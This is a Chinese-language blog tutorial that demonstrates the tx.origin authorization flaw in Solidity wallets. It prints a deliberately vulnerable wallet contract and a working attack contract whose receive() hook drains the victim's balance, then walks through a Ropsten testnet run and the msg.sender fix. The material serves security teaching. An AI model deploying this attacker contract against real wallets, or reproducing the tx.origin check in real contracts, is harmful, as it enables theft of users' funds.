写点什么

区块链合约安全系列(一)公链合约权限校验引发的严重安全问题

作者:BSN研习社
  • 2022 年 4 月 28 日
  • 本文字数:1698 字

    阅读完需:约 6 分钟

id:BSN_2021

公众号:BSN 研习社

背景:由于公链环境下所有的信息都是共享的,智能合约相当于是透明的,任何人只需知道其地址就可以调用内部的方法,所以开发者在开发合约时,逻辑判断一般会添加一下权限的校验,以提高其安全性。但是有时候对其了解不深,会带来一些潜在的隐藏 bug。

目标:验证当合约内部使用 tx.origin 做权限校验时,攻击者可以绕过逻辑约束进行资金盗取。

对象:适用于用 Solidity 语言开发的智能合约,例如 BSN 中的武汉链(基于 ETH)和泰安链(基于 fisco bcos)上运行的智能合约。

环境准备

•两个合约文件,一个为用户钱包合约(TxUserWallet ),另一个为攻击钱包合约(TxAttackWallet )。

•两个账户,分别为以上两个合约的 owner。预制为 TxUserWallet owner:

0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9

TxAttackWallet owner:

0x5adaCf91A3C4e9a7541f0dA89dC575354C075941

合约文件_TxUserWallet.sol_如下图所示:

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 <0.9.0;// THIS CONTRACT CONTAINS A BUG - DO NOT USEcontract TxUserWallet {    address owner;
event Deposit(uint256 balance); constructor() payable { owner = msg.sender; }
function supplyFunds() payable public { emit Deposit(msg.value); }
function transferTo(address payable dest, uint amount) public { // THE BUG IS RIGHT HERE, you must use msg.sender instead of tx.origin require(tx.origin == owner); dest.transfer(amount); }
function balanceOf() public view returns(uint){ return address(this).balance; }
function withdraw() public { payable(owner).transfer(address(this).balance); }
}
复制代码

合约文件_TxAttackWallet.sol_如下图所示:

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 <0.9.0;interface TxUserWallet {     function transferTo(address payable dest, uint amount) external;}
contract TxAttackWallet { address payable owner; TxUserWallet userWallet; constructor(TxUserWallet userWalletAddr) { owner = payable(msg.sender); userWallet = userWalletAddr; }
function balanceOf() public view returns(uint){ return address(this).balance; }
receive() external payable { userWallet.transferTo(owner, address(userWallet).balance); }}
复制代码

合约部署使用 remix 分别部署两个合约 1.部署合约 TxUserWallet 的过程截图

合约部署成功的截图如下

2.部署合约 TxAttackWallet 的过程截图注意:部署的时候需要将“用户钱包合约的地址”进行预制,用于后续攻击时使用。

合约部署成功的截图如下

攻击测试

攻击原理为诱骗合约 TxUserWallet 的 owner 对合约 TxAttackWallet 进行转账操作。因为技术上当合约 TxAttackWallet 接受 ether 时会触发 receive()方法,从而进行对 TxUserWallet 合约进行盗取 ether。

为方便做对比,我们在转账操作之前先截图一下用户钱包合约以及攻击合约的 owner 的账户余额


现在使用 TxUserWallet 的 owner 账户对合约 TxAttackWallet 进行转账操作。即 使用账户 0xAa1a88aa89F50ee9B7e3F6124f18a31d5E6dB1F9 向合约账户 0xB50cF0e11aA2dA0F4f0E95841a4F1514F81015fd 转账 0.001(金额任意)。

转账交易记录 https://ropsten.etherscan.io/tx/0x779ec2ef110f684fc20080f28ec840e2f11872bdd87775efef7228408ed5948d

转账操作成功后,我们来查看一下 TxUserWallet 拥有的 0.00002 Ether 是否被盗取了,截图如下

上图可以看出余额已变为零,接下来看一下 TxAttackWallet 的 owner 账户余额,截图如下

上图可以发现一笔 0.00002 Ether 转账记录,同时对比余额变动,至此已盗取成功。

结论综上发现,当我们使用 tx.origin 做校验时,得到的是_交易原始签名地址而不是攻击合约的地址_,从而绕过了业务约束逻辑,将所有资金进行了转移操作。

另外,那如何进行修复呢?只需要将 tx.origin 改为 msg.sender 去做校验即可。有兴趣的可以试一下。

用户头像

BSN研习社

关注

还未添加个人签名 2021.11.05 加入

还未添加个人简介

评论

发布
暂无评论
区块链合约安全系列(一)公链合约权限校验引发的严重安全问题_区块链_BSN研习社_InfoQ写作社区